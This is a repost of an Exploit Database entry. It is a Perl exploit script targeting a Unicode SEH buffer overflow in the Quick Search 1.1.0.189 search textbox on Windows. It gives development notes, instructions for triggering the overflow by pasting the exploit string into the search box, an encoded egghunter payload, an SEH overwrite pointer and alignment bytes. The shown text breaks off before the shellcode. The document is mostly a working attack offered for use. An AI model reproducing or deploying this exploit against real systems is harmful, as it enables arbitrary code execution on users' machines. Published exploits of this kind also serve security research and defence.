Quick Search 1.1.0.189 – search textbox Buffer Overflow (SEH Unicode) (Egghunter)

Exploit Database
112 阅读

作者： Tomislav Paskalev

日期： 2015-04-23
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/36822/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

#!/usr/bin/perl

###########################################################################=

#######################

# Exploit Title: Quick Search 1.1.0.189 'search textbox' Unicode SEH egghunter Buffer Overflow

# Date: 2015-04-23

# Exploit Author: Tomislav Paskalev

# Vulnerable Software: Quick Search v1.1.0.189

# Vendor Homepage: http://www.glarysoft.com/

# Software Link: https://www.exploit-db.com/apps/93feb6805c08d3ca84b0636a3a986a56-qsearchsetup.exe

# Version: 1.1.0.189

# Tested on: Windows XP SP2 EN

# OSVDB-ID: 93445

###########################################################################=

#######################

# Credits:

# - Vulnerability identified by ariarat

# http://www.exploit-db.com/exploits/25443/

###########################################################################=

#######################

# Exploit development notes:

# - instead of attaching the process, start the executable within the debugger

# - the application's module gtms_D7.bpl was not compiled with SafeSEH

# - since this is a unicode buffer overflow \x00 will not terminate the string

# - 6 available unicode friendly P/P/R pointers within the module

# - this exploit should work across different OS versions

# (tested only on Win XP SP2 EN)

# - several other unicode friendly aplication modules are available, but have not been checked

###########################################################################=

#######################

# How to exploit:

# - Quick Search -> (click arrow for menu) Match Path -> (click arrow for menu) Full Mode ->=20

# (paste created exploit string into the search textbox)

# - once the exploit string is pasted, the egghunter starts to search the memory for the marker

# - on my test machine the search takes around 30 seconds (until the shellcode gets executed)

# - during the search the mouse cursor will NOT have a hourglass displayed beside it

# - during the search the application will NOT become unresponsive (i.e. it will be usable)

###########################################################################=

#######################

# Thanks to:

# - ariarat (PoC)

# - Peter Van Eeckhoutte (exploit development tutorials)

# - Offensive Security (IT security courses, admin support)

###########################################################################=

#######################

my $junk = "A" x 21;

# Egghunter code; NtAccessCheckAndAuditAlarm method; searches for "0t0t"

# msfencode -e x86/alpha_mixed

# msfencode -e x86/unicode_upper BufferRegister=EAX

# converted to ASCII

my $egghunter =

"PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ" .

"11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944J" .

"B9KHHHYCDO4KD1KB3QIQ9OY190IQ9PIQ9PI0IOS13PCPC1313PCOGB11J2J11R8R" .

"0P01100OQRK11OQB102Q1OR02PB0BNP0BORQ11228PPP8Q1PBT50JQ9RUOF0M212" .

"J1Z3IRO3F2O41QB1VP2S20J26RBP3BHRZ2MBVPNRGPLCCOESBCJ2C14482O2O18B" .

"52000P02EB032PTBNBKR92J0L2OBR1E3ICJPLRO0B0URZ0G2KPO1I2W11Q1AA";

my $fill = "C" x (1045 - length($junk.$egghunter));

my $nextSEH = "\x41\x6d"; # INC ECX; INSW Yz DX

my $SEH = "\x70\x34"; # POP POP RET from gtms_D7.bpl

# jump to egghunter code

my $allign = "\x58";# POP EAX